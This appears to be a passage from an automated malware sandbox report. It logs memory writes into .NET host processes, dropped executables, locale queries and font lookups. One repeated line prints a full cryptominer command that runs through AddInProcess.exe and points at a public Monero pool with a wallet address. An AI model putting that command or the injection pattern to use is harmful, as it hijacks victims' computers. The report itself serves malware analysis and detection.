Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407C0000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407C1000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407C7000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: DF88456010	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140000000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140001000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 14037F000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1404EA000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 14079A000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407BA000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407BB000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407BE000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407C0000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407C1000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407C7000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: A95F7D8010	Jump to behavior
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 454000
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 47A000
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: D09008

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Process created: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe"	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process created: C:\Users\user\AppData\Local\Temp\gtxkvh.exe "C:\Users\user\AppData\Local\Temp\gtxkvh.exe"	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50	Jump to behavior
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Process created: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe"

Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5AE9000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5BEC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E0346C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: MSBuild.exe, 0000000C.00000002.1842346912.00000000030B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: MSBuild.exe, 0000000C.00000002.1842346912.00000000030B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_005F0AD3 cpuid

0_2_005F0AD3

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00607854
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: GetLocaleInfoW,	0_2_00607AA7
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00607BCD
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: GetLocaleInfoW,	0_2_005FD43D
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: GetLocaleInfoW,	0_2_00607CD3
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00607DA2
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: EnumSystemLocalesW,	0_2_006076E3
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: EnumSystemLocalesW,	0_2_005FCEDB
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: EnumSystemLocalesW,	0_2_0060772E
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: EnumSystemLocalesW,	0_2_006077C9
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_00567854
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: GetLocaleInfoW,	3_2_00567AA7
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_00567BCD
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: GetLocaleInfoW,	3_2_0055D43D
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: GetLocaleInfoW,	3_2_00567CD3
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00567DA2
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: EnumSystemLocalesW,	3_2_0055CEDB
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: EnumSystemLocalesW,	3_2_005676E3
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: EnumSystemLocalesW,	3_2_0056772E
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: EnumSystemLocalesW,	3_2_005677C9

Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Queries volume information: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
